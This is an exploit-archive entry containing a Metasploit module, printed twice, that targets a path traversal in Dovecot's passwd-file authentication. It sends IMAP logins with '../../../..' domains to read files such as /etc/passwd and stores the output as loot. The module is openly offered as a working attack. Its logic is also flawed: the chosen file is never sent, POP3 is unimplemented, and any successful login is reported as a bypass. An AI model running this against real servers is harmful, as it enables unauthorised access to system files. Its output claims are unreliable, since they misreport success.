5.3
/ 10
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Description
This Metasploit auxiliary module targets a path traversal vulnerability in Dovecot's passwd-file authentication backend when per-domain configuration is enabled...
Basic Information
ID
PACKETSTORM:219561
Published
Apr 22, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : Dovecot passwd-file Path Traversal Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.dovecotpro.com/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets a path traversal vulnerability in Dovecot’s passwd-file authentication backend when per-domain configuration is enabled.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dovecot passwd-file Path Traversal',
'Description' => %q{
Dovecot passwd-file passdb is vulnerable to path traversal when configured to use
per-domain passwd files.
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2026-0394'],
['URL', 'https://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0001.html'],
['CWE', '22']
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2026-03-27'
)
)
register_options([
Opt::RPORT(143),
OptString.new('TARGET_FILE', [true, 'File to read via path traversal', '/etc/passwd']),
OptString.new('DOMAIN_PAYLOAD', [true, 'Domain payload with traversal', '../../../..']),
OptEnum.new('PROTOCOL', [true, 'Protocol', 'IMAP', ['IMAP', 'POP3']])
])
end
def run_host(ip)
print_status("Dovecot passwd-file Path Traversal (CVE-2026-0394)")
print_status("Target: #{ip}:#{rport}")
sock = nil
domain = datastore['DOMAIN_PAYLOAD']
target_file = datastore['TARGET_FILE']
username = "test@#{domain}"
print_status("Attempting to read #{target_file} using domain: #{domain}")
content = read_file_via_auth(username, target_file)
if content && !content.empty?
print_good("Successfully read #{target_file}")
print_line(content)
report_file_content(target_file, content)
else
print_error("Failed to read #{target_file}")
end
end
def read_file_via_auth(username, target_file)
sock = nil
begin
sock = connect
banner = sock.get_once
vprint_status("Banner: #{banner}")
if datastore['PROTOCOL'] == 'IMAP'
sock.put("a1 LOGIN \"#{username}\" \"test\"\r\n")
response = sock.get_once
vprint_status("Response: #{response}")
if response && response.to_s.include?('OK')
print_status("Authentication succeeded - file may have been read")
return "Authentication bypass successful"
elsif response && response.to_s.include?('NO')
return response if response.to_s.include?(target_file)
end
end
rescue ::Exception => e
vprint_error("Error: #{e.message}")
ensure
disconnect(sock) if sock
end
nil
end
def report_file_content(filename, content)
store_loot(
'dovecot.path_traversal',
'text/plain',
rhost,
content,
filename.gsub('/', '_'),
"File read via path traversal: #{filename}"
)
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : Dovecot passwd-file Path Traversal Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.dovecotpro.com/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets a path traversal vulnerability in Dovecot’s passwd-file authentication backend when per-domain configuration is enabled.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dovecot passwd-file Path Traversal',
'Description' => %q{
Dovecot passwd-file passdb is vulnerable to path traversal when configured to use
per-domain passwd files.
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2026-0394'],
['URL', 'https://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0001.html'],
['CWE', '22']
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2026-03-27'
)
)
register_options([
Opt::RPORT(143),
OptString.new('TARGET_FILE', [true, 'File to read via path traversal', '/etc/passwd']),
OptString.new('DOMAIN_PAYLOAD', [true, 'Domain payload with traversal', '../../../..']),
OptEnum.new('PROTOCOL', [true, 'Protocol', 'IMAP', ['IMAP', 'POP3']])
])
end
def run_host(ip)
print_status("Dovecot passwd-file Path Traversal (CVE-2026-0394)")
print_status("Target: #{ip}:#{rport}")
sock = nil
domain = datastore['DOMAIN_PAYLOAD']
target_file = datastore['TARGET_FILE']
username = "test@#{domain}"
print_status("Attempting to read #{target_file} using domain: #{domain}")
content = read_file_via_auth(username, target_file)
if content && !content.empty?
print_good("Successfully read #{target_file}")
print_line(content)
report_file_content(target_file, content)
else
print_error("Failed to read #{target_file}")
end
end
def read_file_via_auth(username, target_file)
sock = nil
begin
sock = connect
banner = sock.get_once
vprint_status("Banner: #{banner}")
if datastore['PROTOCOL'] == 'IMAP'
sock.put("a1 LOGIN \"#{username}\" \"test\"\r\n")
response = sock.get_once
vprint_status("Response: #{response}")
if response && response.to_s.include?('OK')
print_status("Authentication succeeded - file may have been read")
return "Authentication bypass successful"
elsif response && response.to_s.include?('NO')
return response if response.to_s.include?(target_file)
end
end
rescue ::Exception => e
vprint_error("Error: #{e.message}")
ensure
disconnect(sock) if sock
end
nil
end
def report_file_content(filename, content)
store_loot(
'dovecot.path_traversal',
'text/plain',
rhost,
content,
filename.gsub('/', '_'),
"File read via path traversal: #{filename}"
)
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================